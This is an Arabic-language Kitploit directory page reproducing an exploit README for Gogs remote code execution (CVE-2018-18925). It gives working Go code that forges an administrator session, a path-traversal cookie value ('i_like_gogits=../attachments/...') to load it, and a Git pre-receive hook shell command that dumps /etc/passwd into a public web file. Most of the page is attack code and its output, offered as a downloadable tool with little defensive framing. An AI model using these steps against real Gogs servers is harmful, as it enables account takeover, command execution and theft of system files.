Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Gogs_RCE — استغلال لـ Gogs RCE (CVE-2018-18925) يستغل تزوير الجلسة وحقن خطاف Git لتحقيق تنفيذ أوامر تعسفي بامتيازات الجذر. | Kitploit
أدوات/GitHubGitHub/jas502n/gogs_rce
المصادقة والترخيصتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubjas502n/gogs_rce

Gogs_RCE

استغلال لـ Gogs RCE (CVE-2018-18925) يستغل تزوير الجلسة وحقن خطاف Git لتحقيق تنفيذ أوامر تعسفي بامتيازات الجذر.

عرض المستودع
16410منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إعادة إنتاج ثغرة Gogs_RCE

0x01 تسجيل حساب عادي من الواجهة الأمامية

0x02 استخدام Go لتجميع وتزوير جلسة مدير

go run main.go

package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data,0777)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

سيتم إنشاء ملف data في الدليل الحالي

root@kali:~/go/demo# cat readme.txt 
go run main.go 

0eff81040102ff82000110011000005aff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c060004726f6f74
root@kali:~/go/demo# cat data |xxd
00000000: 0eff 8104 0102 ff82 0001 1001 1000 005a  ...............Z
00000010: ff82 0003 0673 7472 696e 670c 0a00 085f  .....string...._
00000020: 6f6c 645f 7569 6406 7374 7269 6e67 0c03  old_uid.string..
00000030: 0001 3106 7374 7269 6e67 0c05 0003 7569  ..1.string....ui
00000040: 6405 696e 7436 3404 0200 0206 7374 7269  d.int64.....stri
00000050: 6e67 0c07 0005 756e 616d 6506 7374 7269  ng....uname.stri
00000060: 6e67 0c06 0004 726f 6f74                 ng....root
root@kali:~/go/demo# 

0x03 نشر إصدار جديد كمستخدم عادي

المرفق: http://10.20.24.189:18080/attachments/c58bf501-7163-44a8-b77d-79c8396609bb

عيّن حقل الكوكي i_like_gogits إلى مسار ملف الإصدار الجديد، مع إضافة أول حرفين إليه مثال:

attachments/c58bf501-7163-44a8-b77d-79c8396609bb

i_like_gogits=../attachments/c/5/c58bf501-7163-44a8-b77d-79c8396609bb

0x04 تحديث الصفحة، يتحول الحساب إلى حساب مسؤول root

بعد التعديل

حساب root

0x05 إعدادات المستودع، إدارة خطافات Git، اسم الخطاف pre-receive

عندما يكون الخادم على منصة Linux، اكتب سكربت شل مباشرةً لتنفيذ الأوامر.

يتم تشغيل الأمر بعد رفع ملف جديد إلى المستودع.

0x06 عرض مخرجات الأوامر - لوحة الإدارة - إدارة إعدادات التطبيق - الدليل الجذر للملفات الثابتة

احصل على المسار المطلق من خلال الدليل الجذر للملفات الثابتة: مثال

静态文件根目录    /app/gogs

محتوى سكربت الشل:

cat /etc/passwd > /app/gogs/public/js/1.js

مسار عرض الموقع:

https://127.0.0.1:3000/js/1.js

الروابط المرجعية:

Cannot execute custom hooks on Windows #4255

https://github.com/gogs/gogs/issues/4255

https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925

تنزيل الأداة